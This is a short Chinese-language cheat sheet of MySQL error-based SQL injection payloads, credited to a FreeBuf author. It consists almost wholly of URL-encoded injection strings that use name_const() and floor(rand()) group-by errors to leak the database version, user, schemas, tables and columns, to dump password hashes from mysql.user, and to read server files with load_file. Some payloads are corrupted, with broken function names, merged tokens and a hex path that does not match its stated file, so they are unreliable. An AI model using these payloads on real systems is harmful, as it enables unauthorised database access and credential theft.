MySql Error Based Injection Reference[Mysql暴错注入参考]Author:Pnig0s1992Blog:http://pnig0s1992.blog.51cto.com/TeAm:http://www.FreeBuf.com/Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功小部分版本使用name_const()时会报错.可以用给出的Method.2测试查询版本:Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+join+(select+name_const(@@version,0))b)c)Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+group by a)b)查询当前用户:Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)查询当前数据库:Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n顺序替换爆指定库数目:and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+table_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 0x6D7973716C=mysql依次爆表:and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+table_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=10x6D7973716C=Mysql 将n顺序替换爆表内字段数目:and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1依次爆字段:and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换依次暴内容:and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1将n顺序替换爆文件内容:and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))afrom+information_schema.tables+group+by+a)b)0x433A5C5C626F6F742E696E69=C://boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
